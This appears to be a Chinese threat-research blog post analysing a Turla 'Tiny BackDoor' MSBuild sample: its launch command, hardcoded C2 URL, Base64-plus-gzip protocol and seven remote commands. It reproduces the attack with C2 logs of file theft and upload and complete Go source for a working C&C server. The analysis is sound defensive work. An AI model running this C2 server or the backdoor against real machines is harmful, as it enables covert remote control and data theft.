文章首发地址:
https://xz.aliyun.com/t/14719
文章首发作者:
T0daySeeker
概述
在前段时间,笔者曾对Turla组织的TinyTurla后门及TinyTurla-NG后门进行过详细剖析及攻击场景复现。然而近期,笔者又基于威胁情报发现了一款Turla组织使用的新的微小后门。
此威胁情报信息来源于美国cyble公司发布的《Tiny BackDoor Goes Undetected – Suspected Turla leveraging MSBuild to Evade detection》报告,报告对整个攻击链进行了介绍,同时还对最终载荷Tiny BackDoor后门功能进行了介绍。
基于以往文章内容的惯例,笔者准备直接对其最终载荷的Tiny BackDoor后门文件进行剖析:
-
后门功能剖析:模拟复现Tiny BackDoor后门的执行方式,并基于逆向分析对此后门功能进行详细剖析; -
后门攻击场景复现:基于模拟构建的Tiny BackDoor后门C&C站点程序,模拟复现Tiny BackDoor后门的远程控制行为。 -
后门通信模型分析:结合动态调试,研究分析Tiny BackDoor后门的通信模型。 -
模拟构建后门C&C站点:模拟构建Tiny BackDoor后门C&C站点程序。
相关报告截图如下:
后门功能剖析
通过对威胁情报的报告内容进行详细研究梳理,笔者发现Turla组织的Tiny Backdoor文件为MSBuild项目文件,相关报告截图如下:
相关后门文件内容截图如下:
有效运行后门
为了能够有效运行此后门文件,可直接基于msbuild.exe程序加载后门文件内容,后门成功运行后将发起外链请求,相关操作流程如下:
C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe 8c97df4ca1a5995e22c2c4887bea2945269d6f5f158def98d5ebdd5311bb20c4
相关截图如下:
俄语注释信息
通过对后门程序进行剖析,发现此后门程序中的多处代码存在俄语注释信息,相关截图如下:
相关翻译信息如下:
隐藏MSBuild.exe窗口
通过分析,发现此后门运行后,将创建线程用于隐藏MSBuild.exe窗口。
相关代码截图如下:
获取主机信息
通过分析,发现此后门运行后,将获取主机信息用于后续网络请求,主机信息将使用Base64编码处理:
-
获取当前用户所属的域名:如果用户是本地计算机上的本地帐户,则返回计算机名称。 -
获取当前用户的用户名。 -
获取当前进程ID。
相关代码截图如下:
获取远控指令
通过分析,发现此后门运行后,将每隔一分钟外链发送一次主机基本信息,用于获取远控指令数据。
相关代码截图如下:
外链请求
通过分析,发现此后门的外链地址内置于代码中,外链地址为:
https://ies.inquirer.com.ph/advprod03/assets/plugin/tinymce/docs/php/index.php
相关外链请求代码截图如下:
通信加密算法
通过分析,发现此后门将使用Base64编码+gzip压缩相结合的通信加密算法对通信数据进行加密处理,相关代码截图如下:
远控指令
通过分析,发现此后门支持7个远控指令:
远控指令 | 远控指令功能 |
---|---|
shell | 使用cmd执行shell命令 |
sleep | 修改定期外链发送主机基本信息的间隔时间 |
upload | 上传文件 |
download | 下载文件 |
cd | 修改当前工作目录的路径 |
pwd | 显示当前工作目录的路径 |
ps | 使用powershell执行shell命令 |
相关代码截图如下:
后门攻击场景复现
为了能够有效复现Turla组织最新Tiny BackDoor后门的实战攻击场景,笔者尝试基于Golang语言模拟构建了一款C&C站点程序,可有效模拟实现Tiny BackDoor后门的使用场景。
C&C站点程序启用后,我们可正常访问其WEB服务,相关截图如下:
Tiny BackDoor后门上线后,即可开展正常的远控行为,相关截图如下:
通信过程中C&C站点中内置的远控指令如下:
通信过程中执行上传文件、下载文件指令前的相关截图如下:
通信过程中执行上传文件、下载文件指令后的相关截图如下:
通信过程中产生的http通信数据包截图如下:
相关操作命令如下:
F:GolandProjectsawesomeProject5>awesomeProject5.exe
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.
[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
- using env: export GIN_MODE=release
- using code: gin.SetMode(gin.ReleaseMode)
ID: WIN-JMKJEMJC4OT_admin_3580
Send: [<pwd>]
[GIN] 2024/05/28 - 23:09:27 |[97;42m 200 [0m| 11.5194ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
Recv: C:Windows
[GIN] 2024/05/28 - 23:09:27 |[97;42m 200 [0m| 41.81ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
ID: WIN-JMKJEMJC4OT_admin_3580
Send: [<cd>][{C:\Users\admin}]
[GIN] 2024/05/28 - 23:09:32 |[97;42m 200 [0m| 2.9047ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
Recv: SetCurrentDirectory C:\Users\admin ok.
[GIN] 2024/05/28 - 23:09:33 |[97;42m 200 [0m| 40.6301ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
ID: WIN-JMKJEMJC4OT_admin_3580
Send: [<pwd>]
[GIN] 2024/05/28 - 23:09:38 |[97;42m 200 [0m| 5.6547ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
Recv: C:Usersadmin
[GIN] 2024/05/28 - 23:09:38 |[97;42m 200 [0m| 47.0304ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
ID: WIN-JMKJEMJC4OT_admin_3580
Send: [<shell>][{ipconfig}]
[GIN] 2024/05/28 - 23:09:43 |[97;42m 200 [0m| 6.7855ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
Recv: Windows IP 配置
以太网适配器 Bluetooth 网络连接:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . : localdomain
本地链接 IPv6 地址. . . . . . . . : fe80::5c38:ccd5:e424:fdfc%11
IPv4 地址 . . . . . . . . . . . . : 192.168.153.130
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
隧道适配器 isatap.{8B288427-3826-4FFD-BF89-490C950BBA8A}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 isatap.localdomain:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . : localdomain
[GIN] 2024/05/28 - 23:09:48 |[97;42m 200 [0m| 50.8727ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
ID: WIN-JMKJEMJC4OT_admin_3580
Send: [<ps>][{dir}]
[GIN] 2024/05/28 - 23:09:53 |[97;42m 200 [0m| 3.6563ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
Recv:
目录: C:Usersadmin
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r-- 2016/12/28 10:38 Contacts
d-r-- 2024/5/28 23:08 Desktop
d-r-- 2016/12/28 10:38 Documents
d-r-- 2016/12/28 10:38 Downloads
d-r-- 2016/12/28 10:38 Favorites
d-r-- 2016/12/28 10:38 Links
d-r-- 2016/12/28 10:38 Music
d-r-- 2016/12/28 10:38 Pictures
d-r-- 2016/12/28 10:38 Saved Games
d-r-- 2016/12/28 10:38 Searches
d-r-- 2016/12/28 10:38 Videos
[GIN] 2024/05/28 - 23:09:53 |[97;42m 200 [0m| 41.9161ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
ID: WIN-JMKJEMJC4OT_admin_3580
Send: [<download>][{C:\Users\admin\Desktop\nc.exe}]
[GIN] 2024/05/28 - 23:09:58 |[97;42m 200 [0m| 5.9115ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
[GIN] 2024/05/28 - 23:09:58 |[97;42m 200 [0m| 6.6947ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=f&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA=&n=nc.exe"
Recv: download to server ok.
[GIN] 2024/05/28 - 23:09:58 |[97;42m 200 [0m| 52.5248ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
ID: WIN-JMKJEMJC4OT_admin_3580
Send: [<upload>][{C:\Users\admin\Desktop\123.exe}]
[GIN] 2024/05/28 - 23:10:03 |[97;42m 200 [0m| 9.3386ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
ID: WIN-JMKJEMJC4OT_admin_3580
filename: 123.exe
[GIN] 2024/05/28 - 23:10:03 |[97;42m 200 [0m| 8.5618ms | 192.168.153.130 |[97;44m GET [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=f&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA=&n=123.exe"
Recv: upload ok.
[GIN] 2024/05/28 - 23:10:03 |[97;42m 200 [0m| 53.2576ms | 192.168.153.130 |[97;46m POST [0m "/advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA="
ID: WIN-JMKJEMJC4OT_admin_3580
F:GolandProjectsawesomeProject5>
后门通信模型分析
通过对Tiny BackDoor后门通信模型进行分析,发现Tiny BackDoor后门的HTTP请求主要分为如下情况:
-
POST请求包1,URL参数m=c,id=主机信息:POST请求包的载荷为空 -
POST请求1响应包:「远控指令载荷数据」 -
POST请求包2,URL参数m=c,id=主机信息:POST请求包携带载荷内容(「远控指令响应数据」) -
POST请求2响应包:载荷为空 -
POST请求3,URL参数m=f,n=文件名,id=主机信息:POST请求包的载荷为「下载文件」载荷内容 -
POST请求3响应包:载荷为空 -
GET请求,URL参数m=f,n=文件名,id=主机信息:「上传文件」 -
GET请求响应包:上传文件载荷内容
shell、sleep、pwd、cd、ps远控指令
梳理shell、sleep、pwd、cd、ps远控指令的通信模型实例如下:
#POST请求包1
POST /advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA= HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: ies.inquirer.com.ph
Content-Length: 0
HTTP/1.0 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 28 May 2024 15:09:43 GMT
Content-Length: 61
H4sIAAAAAAAA/4q2Kc5Izcmxi42uzixIzs9Ly0yvjQUEAAD//2Mmu1wVAAAA
#POST请求包2
POST /advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA= HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: ies.inquirer.com.ph
Content-Length: 472
H4sIAAAAAAAEAAvPzEvJLy9W8AxQeNna+3zvOl6uJ7uXPl2y6vneiS8bmoBiT2euUHDKKU0tyc8vyVAACj/fPefF/nnP+pZa8XIpKCg8XTXpyd7Jz7u2PWtoVFDQwwGtoOqebt/0bNrap3sawHoh5jzv3Pl03azns1oUXPyCFZ5O6Hu+pwFDO1Z3PZuz5umcDciuIcHEnPzkxJyU/NzEzDywVohhLyfvAxoADI8yMwUg9+ncBkyvpKVaGFhZmSYbW1glJ6eYWqWaGJlYpaWkJasaGoKNAuo2gerGEyKGlkZ6hmYWeoamxnqGxgaQ0Fw7AejDZ30rny/AG5pGpqZ6MAzR+XL3jBfrlgA1P23djEsfJCBfzlr+snEyIhQzixNLEgv0qi2cjCwsTIzMdY0tjMx0TdzcXHSd3CwsdU0sDZwtTQ2cnBwtHGvpHOk43IoUd3R1EEqaAQAHu657PAMAAA==
HTTP/1.0 200 OK
Date: Tue, 28 May 2024 15:09:48 GMT
Content-Length: 0
相关载荷解密截图如下:
download远控指令
梳理download远控指令的通信模型实例如下:
#POST请求包1
POST /advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA= HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: ies.inquirer.com.ph
Content-Length: 0
HTTP/1.0 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 28 May 2024 15:09:58 GMT
Content-Length: 101
H4sIAAAAAAAA/4q2Sckvz8vJT0yxi42udraKiQktTi0qjolJTMnNzIuJcUktzi7JL4iJyUvWS61IrY0FBAAA//8ebQ3SMQAAAA==
#POST请求3
POST /advprod03/assets/plugin/tinymce/docs/php/index.php?m=f&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA=&n=nc.exe HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: ies.inquirer.com.ph
Content-Length: 24716
H4sIAAAAAAAEAO29CVzUVfcw/p1hgAHBGQUUFXVUUFzAATdEUBDGJdkSMFwIWQZBgaHhOyAmCg6o04hbmi1W...省略字节数据...OaxPyvpgd3r3PYWNL70MfhbThrwgy/wtipqXb2JYAAA==
HTTP/1.0 200 OK
Date: Tue, 28 May 2024 15:09:58 GMT
Content-Length: 0
#POST请求包2
POST /advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA= HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: ies.inquirer.com.ph
Content-Length: 56
H4sIAAAAAAAEAEvJL8/LyU9MUSjJVyhOLSpLLVLIz9YDANvGVToWAAAA
HTTP/1.0 200 OK
Date: Tue, 28 May 2024 15:09:58 GMT
Content-Length: 0
相关载荷解密截图如下:
upload远控指令
梳理upload远控指令的通信模型实例如下:
#POST请求包1
POST /advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA= HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: ies.inquirer.com.ph
Content-Length: 0
HTTP/1.0 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 28 May 2024 15:10:03 GMT
Content-Length: 97
H4sIAAAAAAAA/4q2KS3IyU9MsYuNrna2iokJLU4tKo6JSUzJzcyLiXFJLc4uyS+IiTE0MtZLrUitjQUEAAD//170BwkwAAAA
#GET请求包
GET /advprod03/assets/plugin/tinymce/docs/php/index.php?m=f&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA=&n=123.exe HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: ies.inquirer.com.ph
HTTP/1.0 200 OK
Content-Type: text/plain; charset=utf-8
Date: Tue, 28 May 2024 15:10:03 GMT
H4sIAAAAAAAA/+z9C1xUVfcwjq8ZBhgQHFRQVNQxB+/ggHcUG4TjJbnFxUwlHGCA0WGGZs7gJVF0mHKaSDPL7oFYWVlZKWB2QTHQsjIzIzUjH6yhoSRD4/F2/p...省略字节数据...kH8oX7Bj2av/PjepL6D33deGXTg7XguApXz/wsAAP//Yqal29iWAAA=
#POST请求包2
POST /advprod03/assets/plugin/tinymce/docs/php/index.php?m=c&id=V0lOLUpNS0pFTUpDNE9UX2FkbWluXzM1ODA= HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Host: ies.inquirer.com.ph
Content-Length: 40
H4sIAAAAAAAEACstyMlPTFHIz9YDAHX9j+8KAAAA
HTTP/1.0 200 OK
Date: Tue, 28 May 2024 15:10:03 GMT
Content-Length: 0
相关载荷解密截图如下:
模拟构建后门C&C站点
在这里,笔者将使用golang语言模拟构建Turla组织最新Tiny BackDoor后门的C&C站点,详细情况如下:
代码结构如下:
代码实现
-
tasks2.txt
[<pwd>]
[<cd>][{C:\Users\admin}]
[<pwd>]
[<shell>][{ipconfig}]
[<ps>][{dir}]
[<download>][{C:\Users\admin\Desktop\nc.exe}]
[<upload>][{C:\Users\admin\Desktop\123.exe}]
-
main.go
package main
import (
"awesomeProject5/common"
"awesomeProject5/web"
"github.com/gin-gonic/gin"
"os"
)
func main() {
init_tasks_Turla_tinybackdoor()
//*****http******
r := gin.Default()
// 设置GIN模式为release模式
gin.SetMode(gin.ReleaseMode)
r.GET("/", web.HandleRoot)
r.POST("/advprod03/assets/plugin/tinymce/docs/php/index.php", web.Handle_POST)
r.GET("/advprod03/assets/plugin/tinymce/docs/php/index.php", web.Handle_GET)
r.Run(":80")
}
func init_tasks_Turla_tinybackdoor() {
os.Remove("./conf/tmp2.txt")
common.WriteFile("./conf/tmp2.txt", "0")
}
-
web.go
package web
import (
"awesomeProject5/common"
"fmt"
"github.com/gin-gonic/gin"
"io/ioutil"
"os"
"strconv"
)
func HandleRoot(c *gin.Context) {
c.String(200, "Hello, World!")
}
func Handle_POST(c *gin.Context) {
body, _ := ioutil.ReadAll(c.Request.Body)
//fmt.Println(string(body))
m := c.Query("m")
id := c.Query("id")
n := c.Query("n")
if string(body) == "" && m == "c" {
base64_data := common.Base64_Decode(id)
fmt.Println("ID:", string(base64_data))
str, _ := common.ReadFile("./conf/tmp2.txt")
num, _ := strconv.Atoi(str)
strs := common.FileToSlice("./conf/tasks2.txt")
if num < len(strs) {
os.Remove("./conf/tmp2.txt")
common.WriteFile("./conf/tmp2.txt", strconv.Itoa(num+1))
sendbuf := strs[num]
fmt.Println("Send:", sendbuf)
buf_gzip := common.Gzip_compress([]byte(sendbuf))
buf_base64 := common.Base64_Encode(buf_gzip)
c.String(200, buf_base64+"n")
} else if num == len(strs) {
os.Exit(1)
}
} else if n != "" { //download
recvbuf_base64 := string(body)
recvbuf_gzip := common.Base64_Decode(recvbuf_base64)
recvbuf := common.Gzip_decompress(recvbuf_gzip)
filePath := n // 文件路径
err := ioutil.WriteFile("./"+filePath, recvbuf, 0644)
if err != nil {
fmt.Println("写入文件时发生错误:", err)
return
}
} else {
recvbuf_base64 := string(body)
recvbuf_gzip := common.Base64_Decode(recvbuf_base64)
recvbuf := common.Gzip_decompress(recvbuf_gzip)
fmt.Println("Recv:", string(recvbuf))
}
}
func Handle_GET(c *gin.Context) { //upload
body, _ := ioutil.ReadAll(c.Request.Body)
//fmt.Println(string(body))
m := c.Query("m")
id := c.Query("id")
if string(body) == "" && m == "f" {
n := c.Query("n")
base64_data := common.Base64_Decode(id)
fmt.Println("ID:", string(base64_data))
fmt.Println("filename:", n)
filePath := "./" + n
content, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Println("读取文件时发生错误:", err)
return
}
buf_gzip := common.Gzip_compress(content)
buf_base64 := common.Base64_Encode(buf_gzip)
c.String(200, buf_base64)
}
}
-
common.go
package common
import (
"bufio"
"bytes"
"compress/gzip"
"encoding/base64"
"io"
"io/ioutil"
"os"
)
func Base64_Encode(message []byte) string {
return base64.StdEncoding.EncodeToString(message)
}
func Base64_Decode(encodedMessage string) []byte {
decodedMessage, err := base64.StdEncoding.DecodeString(encodedMessage)
if err != nil {
//fmt.Println("Base64_Decode Error:", err)
return nil
}
return decodedMessage
}
// WriteFile is used to write data into a given file.
func WriteFile(filename, data string) error {
file, err := os.Create(filename)
if err != nil {
return err
}
defer file.Close()
_, err = io.WriteString(file, data)
if err != nil {
return err
}
return nil
}
// 压缩数据
func Gzip_compress(input []byte) (compressedData []byte) {
var buf bytes.Buffer
gz := gzip.NewWriter(&buf)
if _, err := gz.Write(input); err != nil {
panic(err)
}
if err := gz.Close(); err != nil {
panic(err)
}
compressedData = buf.Bytes()
return
}
// 解压缩数据
func Gzip_decompress(compressedData []byte) (decompressedData []byte) {
reader, err := gzip.NewReader(bytes.NewReader(compressedData))
if err != nil {
panic(err)
}
decompressedData, err = ioutil.ReadAll(reader)
if err != nil {
panic(err)
}
return
}
func ReadFile(filename string) (string, error) {
f, err := os.Open(filename)
if err != nil {
return "", err
}
defer f.Close()
b, err := ioutil.ReadAll(f)
if err != nil {
return "", err
}
return string(b), nil
}
func FileToSlice(file string) []string {
fil, _ := os.Open(file)
defer fil.Close()
var lines []string
scanner := bufio.NewScanner(fil)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines
}
原文始发于微信公众号(T0daySeeker):Turla组织最新Tiny BackDoor后门通信模型剖析及攻击场景复现